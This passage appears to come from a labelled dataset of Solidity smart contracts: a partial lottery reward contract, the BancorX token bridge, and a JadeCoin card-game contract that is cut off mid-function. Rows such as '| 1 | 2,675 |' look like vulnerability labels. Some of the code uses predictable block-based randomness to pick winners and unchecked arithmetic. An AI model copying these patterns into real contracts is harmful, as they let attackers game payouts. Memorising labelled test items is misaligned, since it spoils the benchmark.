mapping( address => uint256) public pRewardedSum;
mapping( address => mapping(uint256 => uint256)) public pRewardedSumPerRound;
mapping( uint256 => uint256) public rRewardedSum;
uint256 public rewardedSum;
mapping(address => uint256) lastRoundClaim;
LotteryInterface lotteryContract;
uint256 public rest = 0;
uint256 public lastBlock = 0;
uint256 public lastRoundId;
constructor (address _devTeam)
public
{
DevTeamInterface(_devTeam).setRewardAddress(address(this));
}
function joinNetwork(address[6] _contract)
public
{
require((address(lotteryContract) == 0x0),"already setup");
lotteryContract = LotteryInterface(_contract[3]);
}
function getSBounty()
public
view
returns(uint256, uint256, uint256)
{
uint256 sBountyAmount = rest < 2 ? 0 : address(this).balance / (rest-1);
return (rest, sBountyAmount, lastRoundId);
}
function pushBounty(uint256 _curRoundId)
public
payable
onlyOwner()
{
rest = 8;
lastBlock = block.number;
lastRoundId = _curRoundId;
}
function claim()
public
claimable()
{
address _sender = msg.sender;
uint256 rInvested = lotteryContract.getPInvestedSumByRound(lastRoundId, _sender);
require(rInvested > 0, "sorry, not invested no bounty");
lastBlock = block.number;
lastRoundClaim[_sender] = lastRoundId;
rest = rest - 1;
uint256 claimAmount = address(this).balance / rest;
_sender.transfer(claimAmount);
mintRewardCore(
_sender,
lastRoundId,
0,
0,
claimAmount,
4
);
}
function mintReward(
address _lucker,
uint256 _curRoundId,
uint256 _tNumberFrom,
uint256 _tNumberTo,
uint256 _value,
uint256 _rewardType)
public
onlyOwner()
{
mintRewardCore(
_lucker,
_curRoundId,
_tNumberFrom,
_tNumberTo,
_value,
_rewardType);
}
function mintRewardCore(
address _lucker,
uint256 _curRoundId,
uint256 _tNumberFrom,
uint256 _tNumberTo,
uint256 _value,
uint256 _rewardType)
private
{
Rewards memory _reward;
_reward.lucker = _lucker;
_reward.time = block.timestamp;
_reward.rId = _curRoundId;
_reward.value = _value;
if (_rewardType < 3)
_reward.winNumber = getWinNumberBySlot(_tNumberFrom, _tNumberTo);
_reward.rewardType = _rewardType;
rewardList.push(_reward);
pReward[_lucker].push(rewardList.length - 1);
pRewardedSum[_lucker] += _value;
rRewardedSum[_curRoundId] += _value;
rewardedSum += _value;
pRewardedSumPerRound[_lucker][_curRoundId] += _value;
emit NewReward(_reward.lucker, [_reward.time, _reward.rId, _reward.value, _reward.winNumber, uint256(_reward.rewardType)]);
}
function getWinNumberBySlot(uint256 _tNumberFrom, uint256 _tNumberTo)
public
view
returns(uint256)
{
uint256 _seed = rewardList.length * block.number + block.timestamp;
uint256 _winNr = Helper.getRandom(_seed, _tNumberTo + 1 - _tNumberFrom);
return _tNumberFrom + _winNr - 1;
}
function getPRewardLength(address _sender)
public
view
returns(uint256)
{
return pReward[_sender].length;
}
function getRewardListLength()
public
view
returns(uint256)
{
return rewardList.length;
}
function getPRewardId(address _sender, uint256 i)
public
view
returns(uint256)
{
return pReward[_sender][i];
}
function getPRewardedSumByRound(uint256 _rId, address _buyer)
public
view
returns(uint256)
{
return pRewardedSumPerRound[_buyer][_rId];
}
function getRewardedSumByRound(uint256 _rId)
public
view
returns(uint256)
{
return rRewardedSum[_rId];
}
function getRewardInfo(uint256 _id)
public
view
returns(
address,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
Rewards memory _reward = rewardList[_id];
return (
_reward.lucker,
_reward.winNumber,
_reward.time,
_reward.rId,
_reward.value,
_reward.rewardType
);
}
} | 0 | 1,282 |
pragma solidity ^0.4.24;
contract IERC20Token {
function name() public view returns (string) {}
function symbol() public view returns (string) {}
function decimals() public view returns (uint8) {}
function totalSupply() public view returns (uint256) {}
function balanceOf(address _owner) public view returns (uint256) { _owner; }
function allowance(address _owner, address _spender) public view returns (uint256) { _owner; _spender; }
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
}
contract IOwned {
function owner() public view returns (address) {}
function transferOwnership(address _newOwner) public;
function acceptOwnership() public;
}
contract ISmartToken is IOwned, IERC20Token {
function disableTransfers(bool _disable) public;
function issue(address _to, uint256 _amount) public;
function destroy(address _from, uint256 _amount) public;
}
contract IWhitelist {
function isWhitelisted(address _address) public view returns (bool);
}
contract IBancorConverter {
function getReturn(IERC20Token _fromToken, IERC20Token _toToken, uint256 _amount) public view returns (uint256, uint256);
function convert(IERC20Token _fromToken, IERC20Token _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256);
function conversionWhitelist() public view returns (IWhitelist) {}
function conversionFee() public view returns (uint32) {}
function connectors(address _address) public view returns (uint256, uint32, bool, bool, bool) { _address; }
function getConnectorBalance(IERC20Token _connectorToken) public view returns (uint256);
function claimTokens(address _from, uint256 _amount) public;
function change(IERC20Token _fromToken, IERC20Token _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256);
}
contract ContractIds {
bytes32 public constant CONTRACT_FEATURES = "ContractFeatures";
bytes32 public constant CONTRACT_REGISTRY = "ContractRegistry";
bytes32 public constant BANCOR_NETWORK = "BancorNetwork";
bytes32 public constant BANCOR_FORMULA = "BancorFormula";
bytes32 public constant BANCOR_GAS_PRICE_LIMIT = "BancorGasPriceLimit";
bytes32 public constant BANCOR_CONVERTER_UPGRADER = "BancorConverterUpgrader";
bytes32 public constant BANCOR_CONVERTER_FACTORY = "BancorConverterFactory";
bytes32 public constant BNT_TOKEN = "BNTToken";
bytes32 public constant BNT_CONVERTER = "BNTConverter";
bytes32 public constant BANCOR_X = "BancorX";
}
contract IContractRegistry {
function addressOf(bytes32 _contractName) public view returns (address);
function getAddress(bytes32 _contractName) public view returns (address);
}
contract Owned is IOwned {
address public owner;
address public newOwner;
event OwnerUpdate(address indexed _prevOwner, address indexed _newOwner);
constructor() public {
owner = msg.sender;
}
modifier ownerOnly {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public ownerOnly {
require(_newOwner != owner);
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnerUpdate(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract Utils {
constructor() public {
}
modifier greaterThanZero(uint256 _amount) {
require(_amount > 0);
_;
}
modifier validAddress(address _address) {
require(_address != address(0));
_;
}
modifier notThis(address _address) {
require(_address != address(this));
_;
}
function safeAdd(uint256 _x, uint256 _y) internal pure returns (uint256) {
uint256 z = _x + _y;
assert(z >= _x);
return z;
}
function safeSub(uint256 _x, uint256 _y) internal pure returns (uint256) {
assert(_x >= _y);
return _x - _y;
}
function safeMul(uint256 _x, uint256 _y) internal pure returns (uint256) {
uint256 z = _x * _y;
assert(_x == 0 || z / _x == _y);
return z;
}
}
contract ITokenHolder is IOwned {
function withdrawTokens(IERC20Token _token, address _to, uint256 _amount) public;
}
contract TokenHolder is ITokenHolder, Owned, Utils {
constructor() public {
}
function withdrawTokens(IERC20Token _token, address _to, uint256 _amount)
public
ownerOnly
validAddress(_token)
validAddress(_to)
notThis(_to)
{
assert(_token.transfer(_to, _amount));
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract BancorX is Owned, TokenHolder, ContractIds {
using SafeMath for uint256;
struct Transaction {
uint256 amount;
bytes32 fromBlockchain;
address to;
uint8 numOfReports;
bool completed;
}
uint256 public maxLockLimit;
uint256 public maxReleaseLimit;
uint256 public minLimit;
uint256 public prevLockLimit;
uint256 public prevReleaseLimit;
uint256 public limitIncPerBlock;
uint256 public prevLockBlockNumber;
uint256 public prevReleaseBlockNumber;
uint256 public minRequiredReports;
IContractRegistry public registry;
IContractRegistry public prevRegistry;
IBancorConverter public bntConverter;
ISmartToken public bntToken;
bool public xTransfersEnabled = true;
bool public reportingEnabled = true;
bool public allowRegistryUpdate = true;
mapping (uint256 => Transaction) public transactions;
mapping (uint256 => mapping (address => bool)) public reportedTxs;
mapping (address => bool) public reporters;
event TokensLock(
address indexed _from,
uint256 _amount
);
event TokensRelease(
address indexed _to,
uint256 _amount
);
event XTransfer(
address indexed _from,
bytes32 _toBlockchain,
bytes32 indexed _to,
uint256 _amount
);
event TxReport(
address indexed _reporter,
bytes32 _fromBlockchain,
uint256 _txId,
address _to,
uint256 _amount
);
constructor(
uint256 _maxLockLimit,
uint256 _maxReleaseLimit,
uint256 _minLimit,
uint256 _limitIncPerBlock,
uint256 _minRequiredReports,
address _registry
)
public
{
maxLockLimit = _maxLockLimit;
maxReleaseLimit = _maxReleaseLimit;
minLimit = _minLimit;
limitIncPerBlock = _limitIncPerBlock;
minRequiredReports = _minRequiredReports;
prevLockLimit = _maxLockLimit;
prevReleaseLimit = _maxReleaseLimit;
prevLockBlockNumber = block.number;
prevReleaseBlockNumber = block.number;
registry = IContractRegistry(_registry);
prevRegistry = IContractRegistry(_registry);
bntToken = ISmartToken(registry.addressOf(ContractIds.BNT_TOKEN));
bntConverter = IBancorConverter(registry.addressOf(ContractIds.BNT_CONVERTER));
}
modifier isReporter {
require(reporters[msg.sender]);
_;
}
modifier whenXTransfersEnabled {
require(xTransfersEnabled);
_;
}
modifier whenReportingEnabled {
require(reportingEnabled);
_;
}
function setMaxLockLimit(uint256 _maxLockLimit) public ownerOnly {
maxLockLimit = _maxLockLimit;
}
function setMaxReleaseLimit(uint256 _maxReleaseLimit) public ownerOnly {
maxReleaseLimit = _maxReleaseLimit;
}
function setMinLimit(uint256 _minLimit) public ownerOnly {
minLimit = _minLimit;
}
function setLimitIncPerBlock(uint256 _limitIncPerBlock) public ownerOnly {
limitIncPerBlock = _limitIncPerBlock;
}
function setMinRequiredReports(uint256 _minRequiredReports) public ownerOnly {
minRequiredReports = _minRequiredReports;
}
function setReporter(address _reporter, bool _active) public ownerOnly {
reporters[_reporter] = _active;
}
function enableXTransfers(bool _enable) public ownerOnly {
xTransfersEnabled = _enable;
}
function enableReporting(bool _enable) public ownerOnly {
reportingEnabled = _enable;
}
function disableRegistryUpdate(bool _disable) public ownerOnly {
allowRegistryUpdate = !_disable;
}
function setBNTConverterAddress() public ownerOnly {
bntConverter = IBancorConverter(registry.addressOf(ContractIds.BNT_CONVERTER));
}
function updateRegistry() public {
require(allowRegistryUpdate || msg.sender == owner);
address newRegistry = registry.addressOf(ContractIds.CONTRACT_REGISTRY);
require(newRegistry != address(registry) && newRegistry != address(0));
prevRegistry = registry;
registry = IContractRegistry(newRegistry);
}
function restoreRegistry() public ownerOnly {
registry = prevRegistry;
allowRegistryUpdate = false;
}
function xTransfer(bytes32 _toBlockchain, bytes32 _to, uint256 _amount) public whenXTransfersEnabled {
uint256 currentLockLimit = getCurrentLockLimit();
require(_amount >= minLimit && _amount <= currentLockLimit);
lockTokens(_amount);
prevLockLimit = currentLockLimit.sub(_amount);
prevLockBlockNumber = block.number;
emit XTransfer(msg.sender, _toBlockchain, _to, _amount);
}
function reportTx(
bytes32 _fromBlockchain,
uint256 _txId,
address _to,
uint256 _amount
)
public
isReporter
whenReportingEnabled
{
require(!reportedTxs[_txId][msg.sender]);
reportedTxs[_txId][msg.sender] = true;
Transaction storage txn = transactions[_txId];
if (txn.numOfReports == 0) {
txn.to = _to;
txn.amount = _amount;
txn.fromBlockchain = _fromBlockchain;
} else {
require(txn.to == _to && txn.amount == _amount && txn.fromBlockchain == _fromBlockchain);
}
txn.numOfReports++;
emit TxReport(msg.sender, _fromBlockchain, _txId, _to, _amount);
if (txn.numOfReports >= minRequiredReports) {
require(!transactions[_txId].completed);
transactions[_txId].completed = true;
releaseTokens(_to, _amount);
}
}
function getCurrentLockLimit() public view returns (uint256) {
uint256 currentLockLimit = prevLockLimit.add(((block.number).sub(prevLockBlockNumber)).mul(limitIncPerBlock));
if (currentLockLimit > maxLockLimit)
return maxLockLimit;
return currentLockLimit;
}
function getCurrentReleaseLimit() public view returns (uint256) {
uint256 currentReleaseLimit = prevReleaseLimit.add(((block.number).sub(prevReleaseBlockNumber)).mul(limitIncPerBlock));
if (currentReleaseLimit > maxReleaseLimit)
return maxReleaseLimit;
return currentReleaseLimit;
}
function lockTokens(uint256 _amount) private {
bntConverter.claimTokens(msg.sender, _amount);
emit TokensLock(msg.sender, _amount);
}
function releaseTokens(address _to, uint256 _amount) private {
uint256 currentReleaseLimit = getCurrentReleaseLimit();
require(_amount >= minLimit && _amount <= currentReleaseLimit);
prevReleaseLimit = currentReleaseLimit.sub(_amount);
prevReleaseBlockNumber = block.number;
bntToken.transfer(_to, _amount);
emit TokensRelease(_to, _amount);
}
} | 1 | 2,675 |
pragma solidity ^0.4.18;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract AccessAdmin is Ownable {
mapping (address => bool) adminContracts;
mapping (address => bool) actionContracts;
function setAdminContract(address _addr, bool _useful) public onlyOwner {
require(_addr != address(0));
adminContracts[_addr] = _useful;
}
modifier onlyAdmin {
require(adminContracts[msg.sender]);
_;
}
function setActionContract(address _actionAddr, bool _useful) public onlyAdmin {
actionContracts[_actionAddr] = _useful;
}
modifier onlyAccess() {
require(actionContracts[msg.sender]);
_;
}
}
interface ERC20 {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract JadeCoin is ERC20, AccessAdmin {
using SafeMath for SafeMath;
string public constant name = "MAGICACADEMY JADE";
string public constant symbol = "Jade";
uint8 public constant decimals = 0;
uint256 public roughSupply;
uint256 public totalJadeProduction;
uint256[] public totalJadeProductionSnapshots;
uint256 public nextSnapshotTime;
uint256 public researchDivPercent = 10;
mapping(address => uint256) public jadeBalance;
mapping(address => mapping(uint8 => uint256)) public coinBalance;
mapping(uint8 => uint256) totalEtherPool;
mapping(address => mapping(uint256 => uint256)) public jadeProductionSnapshots;
mapping(address => mapping(uint256 => bool)) private jadeProductionZeroedSnapshots;
mapping(address => uint256) public lastJadeSaveTime;
mapping(address => uint256) public lastJadeProductionUpdate;
mapping(address => uint256) private lastJadeResearchFundClaim;
mapping(address => uint256) private lastJadeDepositFundClaim;
uint256[] private allocatedJadeResearchSnapshots;
mapping(address => mapping(address => uint256)) private allowed;
event ReferalGain(address player, address referal, uint256 amount);
function JadeCoin() public {
}
function() external payable {
totalEtherPool[1] += msg.value;
}
function tweakDailyDividends(uint256 newResearchPercent) external {
require(msg.sender == owner);
require(newResearchPercent > 0 && newResearchPercent <= 10);
researchDivPercent = newResearchPercent;
}
function totalSupply() public constant returns(uint256) {
return roughSupply;
}
function balanceOf(address player) public constant returns(uint256) {
return SafeMath.add(jadeBalance[player],balanceOfUnclaimed(player));
}
function balanceOfUnclaimed(address player) public constant returns (uint256) {
uint256 lSave = lastJadeSaveTime[player];
if (lSave > 0 && lSave < block.timestamp) {
return SafeMath.mul(getJadeProduction(player),SafeMath.div(SafeMath.sub(block.timestamp,lSave),100));
}
return 0;
}
function getJadeProduction(address player) public constant returns (uint256){
return jadeProductionSnapshots[player][lastJadeProductionUpdate[player]];
}
function getTotalJadeProduction() external view returns (uint256) {
return totalJadeProduction;
}
function getlastJadeProductionUpdate(address player) public view returns (uint256) {
return lastJadeProductionUpdate[player];
}
function increasePlayersJadeProduction(address player, uint256 increase) public onlyAccess {
jadeProductionSnapshots[player][allocatedJadeResearchSnapshots.length] = SafeMath.add(getJadeProduction(player),increase);
lastJadeProductionUpdate[player] = allocatedJadeResearchSnapshots.length;
totalJadeProduction = SafeMath.add(totalJadeProduction,increase);
}
function reducePlayersJadeProduction(address player, uint256 decrease) public onlyAccess {
uint256 previousProduction = getJadeProduction(player);
uint256 newProduction = SafeMath.sub(previousProduction, decrease);
if (newProduction == 0) {
jadeProductionZeroedSnapshots[player][allocatedJadeResearchSnapshots.length] = true;
delete jadeProductionSnapshots[player][allocatedJadeResearchSnapshots.length];
} else {
jadeProductionSnapshots[player][allocatedJadeResearchSnapshots.length] = newProduction;
}
lastJadeProductionUpdate[player] = allocatedJadeResearchSnapshots.length;
totalJadeProduction = SafeMath.sub(totalJadeProduction,decrease);
}
function updatePlayersCoin(address player) internal {
uint256 coinGain = balanceOfUnclaimed(player);
lastJadeSaveTime[player] = block.timestamp;
roughSupply = SafeMath.add(roughSupply,coinGain);
jadeBalance[player] = SafeMath.add(jadeBalance[player],coinGain);
}
function updatePlayersCoinByOut(address player) external onlyAccess {
uint256 coinGain = balanceOfUnclaimed(player);
lastJadeSaveTime[player] = block.timestamp;
roughSupply = SafeMath.add(roughSupply,coinGain);
jadeBalance[player] = SafeMath.add(jadeBalance[player],coinGain);
}
function transfer(address recipient, uint256 amount) public returns (bool) {
updatePlayersCoin(msg.sender);
require(amount <= jadeBalance[msg.sender]);
jadeBalance[msg.sender] = SafeMath.sub(jadeBalance[msg.sender],amount);
jadeBalance[recipient] = SafeMath.add(jadeBalance[recipient],amount);
Transfer(msg.sender, recipient, amount);
return true;
}
function transferFrom(address player, address recipient, uint256 amount) public returns (bool) {
updatePlayersCoin(player);
require(amount <= allowed[player][msg.sender] && amount <= jadeBalance[player]);
jadeBalance[player] = SafeMath.sub(jadeBalance[player],amount);
jadeBalance[recipient] = SafeMath.add(jadeBalance[recipient],amount);
allowed[player][msg.sender] = SafeMath.sub(allowed[player][msg.sender],amount);
Transfer(player, recipient, amount);
return true;
}
function approve(address approvee, uint256 amount) public returns (bool) {
allowed[msg.sender][approvee] = amount;
Approval(msg.sender, approvee, amount);
return true;
}
function allowance(address player, address approvee) public constant returns(uint256) {
return allowed[player][approvee];
}
function updatePlayersCoinByPurchase(address player, uint256 purchaseCost) public onlyAccess {
uint256 unclaimedJade = balanceOfUnclaimed(player);
if (purchaseCost > unclaimedJade) {
uint256 jadeDecrease = SafeMath.sub(purchaseCost, unclaimedJade);
require(jadeBalance[player] >= jadeDecrease);
roughSupply = SafeMath.sub(roughSupply,jadeDecrease);
jadeBalance[player] = SafeMath.sub(jadeBalance[player],jadeDecrease);
} else {
uint256 jadeGain = SafeMath.sub(unclaimedJade,purchaseCost);
roughSupply = SafeMath.add(roughSupply,jadeGain);
jadeBalance[player] = SafeMath.add(jadeBalance[player],jadeGain);
}
lastJadeSaveTime[player] = block.timestamp;
}
function JadeCoinMining(address _addr, uint256 _amount) external onlyAdmin {
roughSupply = SafeMath.add(roughSupply,_amount);
jadeBalance[_addr] = SafeMath.add(jadeBalance[_addr],_amount);
}
function setRoughSupply(uint256 iroughSupply) external onlyAccess {
roughSupply = SafeMath.add(roughSupply,iroughSupply);
}
function coinBalanceOf(address player,uint8 itype) external constant returns(uint256) {
return coinBalance[player][itype];
}
function setJadeCoin(address player, uint256 coin, bool iflag) external onlyAccess {
if (iflag) {
jadeBalance[player] = SafeMath.add(jadeBalance[player],coin);
} else if (!iflag) {
jadeBalance[player] = SafeMath.sub(jadeBalance[player],coin);
}
}
function setCoinBalance(address player, uint256 eth, uint8 itype, bool iflag) external onlyAccess {
if (iflag) {
coinBalance[player][itype] = SafeMath.add(coinBalance[player][itype],eth);
} else if (!iflag) {
coinBalance[player][itype] = SafeMath.sub(coinBalance[player][itype],eth);
}
}
function setLastJadeSaveTime(address player) external onlyAccess {
lastJadeSaveTime[player] = block.timestamp;
}
function setTotalEtherPool(uint256 inEth, uint8 itype, bool iflag) external onlyAccess {
if (iflag) {
totalEtherPool[itype] = SafeMath.add(totalEtherPool[itype],inEth);
} else if (!iflag) {
totalEtherPool[itype] = SafeMath.sub(totalEtherPool[itype],inEth);
}
}
function getTotalEtherPool(uint8 itype) external view returns (uint256) {
return totalEtherPool[itype];
}
function setJadeCoinZero(address player) external onlyAccess {
jadeBalance[player]=0;
}
function getNextSnapshotTime() external view returns(uint256) {
return nextSnapshotTime;
}
function viewUnclaimedResearchDividends() external constant returns (uint256, uint256, uint256) {
uint256 startSnapshot = lastJadeResearchFundClaim[msg.sender];
uint256 latestSnapshot = allocatedJadeResearchSnapshots.length - 1;
uint256 researchShare;
uint256 previousProduction = jadeProductionSnapshots[msg.sender][lastJadeResearchFundClaim[msg.sender] - 1];
for (uint256 i = startSnapshot; i <= latestSnapshot; i++) {
uint256 productionDuringSnapshot = jadeProductionSnapshots[msg.sender][i];
bool soldAllProduction = jadeProductionZeroedSnapshots[msg.sender][i];
if (productionDuringSnapshot == 0 && !soldAllProduction) {
productionDuringSnapshot = previousProduction;
} else {
previousProduction = productionDuringSnapshot;
}
researchShare += (allocatedJadeResearchSnapshots[i] * productionDuringSnapshot) / totalJadeProductionSnapshots[i];
}
return (researchShare, startSnapshot, latestSnapshot);
}
function claimResearchDividends(address referer, uint256 startSnapshot, uint256 endSnapShot) external {
require(startSnapshot <= endSnapShot);
require(startSnapshot >= lastJadeResearchFundClaim[msg.sender]);
require(endSnapShot < allocatedJadeResearchSnapshots.length);
uint256 researchShare;
uint256 previousProduction = jadeProductionSnapshots[msg.sender][lastJadeResearchFundClaim[msg.sender] - 1];
for (uint256 i = startSnapshot; i <= endSnapShot; i++) {
uint256 productionDuringSnapshot = jadeProductionSnapshots[msg.sender][i];
bool soldAllProduction = jadeProductionZeroedSnapshots[msg.sender][i];
if (productionDuringSnapshot == 0 && !soldAllProduction) {
productionDuringSnapshot = previousProduction;
} else {
previousProduction = productionDuringSnapshot;
}
researchShare += (allocatedJadeResearchSnapshots[i] * productionDuringSnapshot) / totalJadeProductionSnapshots[i];
}
if (jadeProductionSnapshots[msg.sender][endSnapShot] == 0 && !jadeProductionZeroedSnapshots[msg.sender][endSnapShot] && previousProduction > 0) {
jadeProductionSnapshots[msg.sender][endSnapShot] = previousProduction;
}
lastJadeResearchFundClaim[msg.sender] = endSnapShot + 1;
uint256 referalDivs;
if (referer != address(0) && referer != msg.sender) {
referalDivs = researchShare / 100;
coinBalance[referer][1] += referalDivs;
ReferalGain(referer, msg.sender, referalDivs);
}
coinBalance[msg.sender][1] += SafeMath.sub(researchShare,referalDivs);
}
function snapshotDailyGooResearchFunding() external onlyAdmin {
uint256 todaysGooResearchFund = (totalEtherPool[1] * researchDivPercent) / 100;
totalEtherPool[1] -= todaysGooResearchFund;
totalJadeProductionSnapshots.push(totalJadeProduction);
allocatedJadeResearchSnapshots.push(todaysGooResearchFund);
nextSnapshotTime = block.timestamp + 24 hours;
}
}
interface GameConfigInterface {
function productionCardIdRange() external constant returns (uint256, uint256);
function battleCardIdRange() external constant returns (uint256, uint256);
function upgradeIdRange() external constant returns (uint256, uint256);
function unitCoinProduction(uint256 cardId) external constant returns (uint256);
function unitAttack(uint256 cardId) external constant returns (uint256);
function unitDefense(uint256 cardId) external constant returns (uint256);
function unitStealingCapacity(uint256 cardId) external constant returns (uint256);
}
contract CardsBase is JadeCoin {
function CardsBase() public {
setAdminContract(msg.sender,true);
setActionContract(msg.sender,true);
}
struct Player {
address owneraddress;
}
Player[] players;
bool gameStarted;
GameConfigInterface public schema;
mapping(address => mapping(uint256 => uint256)) public unitsOwned;
mapping(address => mapping(uint256 => uint256)) public upgradesOwned;
mapping(address => uint256) public uintsOwnerCount;
mapping(address=> mapping(uint256 => uint256)) public uintProduction;
mapping(address => mapping(uint256 => uint256)) public unitCoinProductionIncreases;
mapping(address => mapping(uint256 => uint256)) public unitCoinProductionMultiplier;
mapping(address => mapping(uint256 => uint256)) public unitAttackIncreases;
mapping(address => mapping(uint256 => uint256)) public unitAttackMultiplier;
mapping(address => mapping(uint256 => uint256)) public unitDefenseIncreases;
mapping(address => mapping(uint256 => uint256)) public unitDefenseMultiplier;
mapping(address => mapping(uint256 => uint256)) public unitJadeStealingIncreases;
mapping(address => mapping(uint256 => uint256)) public unitJadeStealingMultiplier;
mapping(address => mapping(uint256 => uint256)) private unitMaxCap;
function setConfigAddress(address _address) external onlyOwner {
schema = GameConfigInterface(_address);
}
function beginGame(uint256 firstDivsTime) external payable onlyOwner {
require(!gameStarted);
gameStarted = true;
nextSnapshotTime = firstDivsTime;
totalEtherPool[1] = msg.value;
}
function endGame() external payable onlyOwner {
require(gameStarted);
gameStarted = false;
}
function getGameStarted() external constant returns (bool) {
return gameStarted;
}
function AddPlayers(address _address) external onlyAccess {
Player memory _player= Player({
owneraddress: _address
});
players.push(_player);
}
function getRanking() external view returns (address[], uint256[],uint256[]) {
uint256 len = players.length;
uint256[] memory arr = new uint256[](len);
address[] memory arr_addr = new address[](len);
uint256[] memory arr_def = new uint256[](len);
uint counter =0;
for (uint k=0;k<len; k++){
arr[counter] = getJadeProduction(players[k].owneraddress);
arr_addr[counter] = players[k].owneraddress;
(,arr_def[counter],,) = getPlayersBattleStats(players[k].owneraddress);
counter++;
}
for(uint i=0;i<len-1;i++) {
for(uint j=0;j<len-i-1;j++) {
if(arr[j]<arr[j+1]) {
uint256 temp = arr[j];
address temp_addr = arr_addr[j];
uint256 temp_def = arr_def[j];
arr[j] = arr[j+1];
arr[j+1] = temp;
arr_addr[j] = arr_addr[j+1];
arr_addr[j+1] = temp_addr;
arr_def[j] = arr_def[j+1];
arr_def[j+1] = temp_def;
}
}
}
return (arr_addr,arr,arr_def);
}
function getTotalUsers() external view returns (uint256) {
return players.length;
}
function getMaxCap(address _addr,uint256 _cardId) external view returns (uint256) {
return unitMaxCap[_addr][_cardId];
}
function getUnitsProduction(address player, uint256 unitId, uint256 amount) external constant returns (uint256) {
return (amount * (schema.unitCoinProduction(unitId) + unitCoinProductionIncreases[player][unitId]) * (10 + unitCoinProductionMultiplier[player][unitId]));
}
function getUnitsInProduction(address player, uint256 unitId, uint256 amount) external constant returns (uint256) {
return SafeMath.div(SafeMath.mul(amount,uintProduction[player][unitId]),unitsOwned[player][unitId]);
}
function getUnitsAttack(address player, uint256 unitId, uint256 amount) internal constant returns (uint256) {
return (amount * (schema.unitAttack(unitId) + unitAttackIncreases[player][unitId]) * (10 + unitAttackMultiplier[player][unitId])) / 10;
}
function getUnitsDefense(address player, uint256 unitId, uint256 amount) internal constant returns (uint256) {
return (amount * (schema.unitDefense(unitId) + unitDefenseIncreases[player][unitId]) * (10 + unitDefenseMultiplier[player][unitId])) / 10;
}
function getUnitsStealingCapacity(address player, uint256 unitId, uint256 amount) internal constant returns (uint256) {
return (amount * (schema.unitStealingCapacity(unitId) + unitJadeStealingIncreases[player][unitId]) * (10 + unitJadeStealingMultiplier[player][unitId])) / 10;
}
function getPlayersBattleStats(address player) public constant returns (
uint256 attackingPower,
uint256 defendingPower,
uint256 stealingPower,
uint256 battlePower) {
uint256 startId;
uint256 endId;
(startId, endId) = schema.battleCardIdRange();
while (startId <= endId) {
attackingPower = SafeMath.add(attackingPower,getUnitsAttack(player, startId, unitsOwned[player][startId]));
stealingPower = SafeMath.add(stealingPower,getUnitsStealingCapacity(player, startId, unitsOwned[player][startId]));
defendingPower = SafeMath.add(defendingPower,getUnitsDefense(player, startId, unitsOwned[player][startId]));
battlePower = SafeMath.add(attackingPower,defendingPower);
startId++;
}
}
function getOwnedCount(address player, uint256 cardId) external view returns (uint256) {
return unitsOwned[player][cardId];
}
function setOwnedCount(address player, uint256 cardId, uint256 amount, bool iflag) external onlyAccess {
if (iflag) {
unitsOwned[player][cardId] = SafeMath.add(unitsOwned[player][cardId],amount);
} else if (!iflag) {
unitsOwned[player][cardId] = SafeMath.sub(unitsOwned[player][cardId],amount);
}
}
function getUpgradesOwned(address player, uint256 upgradeId) external view returns (uint256) {
return upgradesOwned[player][upgradeId];
}
function setUpgradesOwned(address player, uint256 upgradeId) external onlyAccess {
upgradesOwned[player][upgradeId] = SafeMath.add(upgradesOwned[player][upgradeId],1);
}
function getUintsOwnerCount(address _address) external view returns (uint256) {
return uintsOwnerCount[_address];
}
function setUintsOwnerCount(address _address, uint256 amount, bool iflag) external onlyAccess {
if (iflag) {
uintsOwnerCount[_address] = SafeMath.add(uintsOwnerCount[_address],amount);
} else if (!iflag) {
uintsOwnerCount[_address] = SafeMath.sub(uintsOwnerCount[_address],amount);
}
}
function getUnitCoinProductionIncreases(address _address, uint256 cardId) external view returns (uint256) {
return unitCoinProductionIncreases[_address][cardId];
}
function setUnitCoinProductionIncreases(address _address, uint256 cardId, uint256 iValue,bool iflag) external onlyAccess {
if (iflag) {
unitCoinProductionIncreases[_address][cardId] = SafeMath.add(unitCoinProductionIncreases[_address][cardId],iValue);
} else if (!iflag) {
unitCoinProductionIncreases[_address][cardId] = SafeMath.sub(unitCoinProductionIncreases[_address][cardId],iValue);
}
}
function getUnitCoinProductionMultiplier(address _address, uint256 cardId) external view returns (uint256) {
return unitCoinProductionMultiplier[_address][cardId];
}
function setUnitCoinProductionMultiplier(address _address, uint256 cardId, uint256 iValue, bool iflag) external onlyAccess {
if (iflag) {
unitCoinProductionMultiplier[_address][cardId] = SafeMath.add(unitCoinProductionMultiplier[_address][cardId],iValue);
} else if (!iflag) {
unitCoinProductionMultiplier[_address][cardId] = SafeMath.sub(unitCoinProductionMultiplier[_address][cardId],iValue);
}
}
function setUnitAttackIncreases(address _address, uint256 cardId, uint256 iValue,bool iflag) external onlyAccess {
